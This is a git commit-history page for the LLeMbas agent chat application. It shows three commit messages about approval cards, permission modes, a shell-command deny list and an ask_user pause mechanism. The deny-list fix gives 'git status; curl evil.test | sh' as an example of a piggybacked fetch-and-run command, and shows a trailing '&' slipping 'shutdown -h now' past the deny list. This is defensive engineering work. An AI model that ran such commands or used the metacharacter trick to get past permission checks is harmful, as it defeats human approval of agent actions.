LLeMbas

Houmeres/LLeMbas

Fork 0

Commit Graph

Author	SHA1	Message	Date
Jaroslav Beneš	7c51dc306d	Four things that failed silently in an agent chat, and an account of the work Each of the first four looked like it worked. That is what they have in common, and why the tests are written against the property rather than the markup. The job wrapper never cleaned up. `jobs.py` interpolated `{log}` -- the module logger -- where it meant `{logf}`, so every launch-and-wait wrapper ended `rm -f ... <Logger ... (WARNING)> ...`, which is a shell syntax error. It died after the sentinel, where nothing reads it, so commands still worked while every one of them left four files on the far side forever, including the log holding everything it printed. Every wrapper now goes through `sh -n`. The approval card could show something other than what ran. The card did a plain `json.loads` and showed `{}` on failure; `run_tool`'s own fallback put the raw string into the tool's first required parameter, which for `shell_run` is the command. So invalid JSON -- a normal path with small models -- produced a card headed "Run a command" with an empty body, and `policy.decide` was handed an empty command line matching neither list. Arguments are parsed once now, in `tools.parse_arguments`, and the same dict reaches the card, the policy and the runner. One character walked past the deny list. `subject()` yields nothing for a command line carrying a metacharacter, which is what stops `git ` also meaning `git status; curl evil.test \| sh`. The note said a deny list needed no such care because failing open returns you to the mode -- true of Manual, Edit and Plan, and false of Auto, where the mode is ALLOW. `shutdown -h now` asked; `shutdown -h now &` ran. "Always allow this" allowed nothing.* The verdict was accepted, treated as permitted, and stored nowhere. It now writes `Chat.scope_json["allow"]`, from patterns derived server-side from the approved item -- the endpoint takes an id and a verdict and nothing else -- and the list is shown in the scope menu with a Clear beside it. Two more found while fixing them: A reply could grow its request past the window with nothing watching. Compaction runs once, before the first round. The only other guard defaults to a megabyte, larger than the window of nearly every model this talks to. `_too_big` stops between rounds now, and the estimate it reads is recomputed per round rather than once -- which is also what the metrics report on every endpoint that sends no usage block. The harness ceiling was dropping AGENTS.md. 8000 characters, against ~7,900 of fragments plus the 2,000 and 4,000 the index and instruction budgets grant by default. `assemble` cuts the tail, so on a default install the project listing was severed and the project's own instructions never reached the model at all. And, because an agent that works for ten minutes should be readable while it does: Every action says what it is for. `shell_run`, `file_write`, `file_edit` and `job_stop` take a `why`: one line, carried onto the approval card above the command and into the transcript's summary line rather than its collapsed body. Auto mode is the case it exists for -- nothing stops for approval there, so without it a reader watches a list of commands with no account of any of them until the reply ends. Kept apart from the reason we stopped: an explanation a reader takes for the application's own would be LLeMbas vouching for text a model wrote. And the reply says what it is doing as it goes. `core.objective` and `core.narrate`, both agent-only. The second is deliberately the opposite of `core.tools_preamble`'s "do not announce that you are about to", which is right for a short answer -- read once it is finished -- and wrong for a long piece of work, which is watched while it runs. It says so in its own words rather than referring to a fragment an administrator may have cleared. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>	2026-08-03 21:59:19 +02:00
Jaroslav Beneš	671e49cae8	Ask several questions on one card One `ask_user` call can now carry several questions, and they come back in a single submit. Asking one at a time cost a round trip and an interruption each, and by the third you had forgotten the first. Each question becomes an item with its own key; several items share a call index, because they belong to one call and one tool turn has to answer them all. Each answer is quoted beside the question it belongs to -- with four on a card, a bare list would leave the model matching them up by position and sometimes getting it wrong. Options are radios rather than submit buttons, so picking one does not send the form while two other questions are still blank. What you type beats what you picked: someone who writes in the box after clicking an option meant the writing. `_questions_in` also reads the shapes a small model actually sends -- a bare `question` string, a list of plain strings, one object where a list belonged. Getting that wrong costs a whole round trip and shows a card saying nothing. Two test fixes, both mine. `test_posting_a_message_stores_both_turns` raced the background generation it started: against a connection that refuses instantly the reply sometimes won, writing the error and marking the row complete before the assertions could read it. And the generation registry is module-global, so a test that started a reply left an entry -- and a Task belonging to a closed event loop -- for the rest of the session. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>	2026-08-01 22:01:46 +02:00
Jaroslav Beneš	b39e4eac88	A reply can stop and ask you something Three features turn out to be one mechanism: a command waiting to be approved, a question the model wants answered, and "this reply is waiting for you" are all — stop the generation, put an interactive block in the bubble, wait for a POST, carry on. So there is one primitive, and the only thing using it so far is `ask_user`: a model can offer you a few answers and a box to write your own. The shell executor is not here yet. This lands first on purpose, because it is the riskiest machinery in the feature and it is worth having working before any subprocess exists to complicate it. Two things about where the pause sits. It pauses a round, not a call: a round's calls run together under a semaphore, and parking four coroutines on four separate answers inside that gather would queue them behind each other invisibly. And Stop had to be taught about it — `cancel` is read between streamed chunks and there are no chunks while paused, so the button did nothing at all until `request_stop` learned to resolve the pause itself. Also here: a risk class on every tool (read, write, execute), which is what the four permission modes will be a table over, and the systemd unit loses ProtectKernelTunables. That last one is not tidying — it bind-mounts /proc/sys read-only, which stops bubblewrap mounting /proc at all, and the obvious workaround would expose this process's environment and with it the encryption key. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>	2026-08-01 19:30:44 +02:00

Author

SHA1

Message

Date

Jaroslav Beneš

7c51dc306d

Four things that failed silently in an agent chat, and an account of the work

Each of the first four looked like it worked. That is what they have in
common, and why the tests are written against the property rather than the
markup.

**The job wrapper never cleaned up.** `jobs.py` interpolated `{log}` -- the
module logger -- where it meant `{logf}`, so every launch-and-wait wrapper
ended `rm -f ... <Logger ... (WARNING)> ...`, which is a shell syntax error.
It died after the sentinel, where nothing reads it, so commands still worked
while every one of them left four files on the far side forever, including
the log holding everything it printed. Every wrapper now goes through `sh -n`.

**The approval card could show something other than what ran.** The card did
a plain `json.loads` and showed `{}` on failure; `run_tool`'s own fallback
put the raw string into the tool's first required parameter, which for
`shell_run` is the command. So invalid JSON -- a normal path with small
models -- produced a card headed "Run a command" with an empty body, and
`policy.decide` was handed an empty command line matching neither list.
Arguments are parsed once now, in `tools.parse_arguments`, and the same dict
reaches the card, the policy and the runner.

**One character walked past the deny list.** `subject()` yields nothing for a
command line carrying a metacharacter, which is what stops `git *` also
meaning `git status; curl evil.test | sh`. The note said a deny list needed
no such care because failing open returns you to the mode -- true of Manual,
Edit and Plan, and false of Auto, where the mode is ALLOW. `shutdown -h now`
asked; `shutdown -h now &` ran.

**"Always allow this" allowed nothing.** The verdict was accepted, treated as
permitted, and stored nowhere. It now writes `Chat.scope_json["allow"]`, from
patterns derived server-side from the approved item -- the endpoint takes an
id and a verdict and nothing else -- and the list is shown in the scope menu
with a Clear beside it.

Two more found while fixing them:

**A reply could grow its request past the window with nothing watching.**
Compaction runs once, before the first round. The only other guard defaults
to a megabyte, larger than the window of nearly every model this talks to.
`_too_big` stops between rounds now, and the estimate it reads is recomputed
per round rather than once -- which is also what the metrics report on every
endpoint that sends no usage block.

**The harness ceiling was dropping AGENTS.md.** 8000 characters, against
~7,900 of fragments plus the 2,000 and 4,000 the index and instruction
budgets grant by default. `assemble` cuts the tail, so on a default install
the project listing was severed and the project's own instructions never
reached the model at all.

And, because an agent that works for ten minutes should be readable while it
does:

**Every action says what it is for.** `shell_run`, `file_write`, `file_edit`
and `job_stop` take a `why`: one line, carried onto the approval card above
the command and into the transcript's summary line rather than its collapsed
body. Auto mode is the case it exists for -- nothing stops for approval
there, so without it a reader watches a list of commands with no account of
any of them until the reply ends. Kept apart from the reason *we* stopped: an
explanation a reader takes for the application's own would be LLeMbas
vouching for text a model wrote.

**And the reply says what it is doing as it goes.** `core.objective` and
`core.narrate`, both agent-only. The second is deliberately the opposite of
`core.tools_preamble`'s "do not announce that you are about to", which is
right for a short answer -- read once it is finished -- and wrong for a long
piece of work, which is watched while it runs. It says so in its own words
rather than referring to a fragment an administrator may have cleared.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

2026-08-03 21:59:19 +02:00

Jaroslav Beneš

671e49cae8

Ask several questions on one card

One `ask_user` call can now carry several questions, and they come back in a
single submit. Asking one at a time cost a round trip and an interruption
each, and by the third you had forgotten the first.

Each question becomes an item with its own key; several items share a call
index, because they belong to one call and one tool turn has to answer them
all. Each answer is quoted beside the question it belongs to -- with four on
a card, a bare list would leave the model matching them up by position and
sometimes getting it wrong.

Options are radios rather than submit buttons, so picking one does not send
the form while two other questions are still blank. What you type beats what
you picked: someone who writes in the box after clicking an option meant the
writing.

`_questions_in` also reads the shapes a small model actually sends -- a bare
`question` string, a list of plain strings, one object where a list belonged.
Getting that wrong costs a whole round trip and shows a card saying nothing.

Two test fixes, both mine. `test_posting_a_message_stores_both_turns` raced
the background generation it started: against a connection that refuses
instantly the reply sometimes won, writing the error and marking the row
complete before the assertions could read it. And the generation registry is
module-global, so a test that started a reply left an entry -- and a Task
belonging to a closed event loop -- for the rest of the session.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

2026-08-01 22:01:46 +02:00

Jaroslav Beneš

b39e4eac88

A reply can stop and ask you something

Three features turn out to be one mechanism: a command waiting to be
approved, a question the model wants answered, and "this reply is waiting
for you" are all — stop the generation, put an interactive block in the
bubble, wait for a POST, carry on. So there is one primitive, and the only
thing using it so far is `ask_user`: a model can offer you a few answers
and a box to write your own.

The shell executor is not here yet. This lands first on purpose, because
it is the riskiest machinery in the feature and it is worth having working
before any subprocess exists to complicate it.

Two things about where the pause sits. It pauses a round, not a call: a
round's calls run together under a semaphore, and parking four coroutines
on four separate answers inside that gather would queue them behind each
other invisibly. And Stop had to be taught about it — `cancel` is read
between streamed chunks and there are no chunks while paused, so the
button did nothing at all until `request_stop` learned to resolve the
pause itself.

Also here: a risk class on every tool (read, write, execute), which is
what the four permission modes will be a table over, and the systemd unit
loses ProtectKernelTunables. That last one is not tidying — it
bind-mounts /proc/sys read-only, which stops bubblewrap mounting /proc at
all, and the obvious workaround would expose this process's environment
and with it the encryption key.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

2026-08-01 19:30:44 +02:00

3 Commits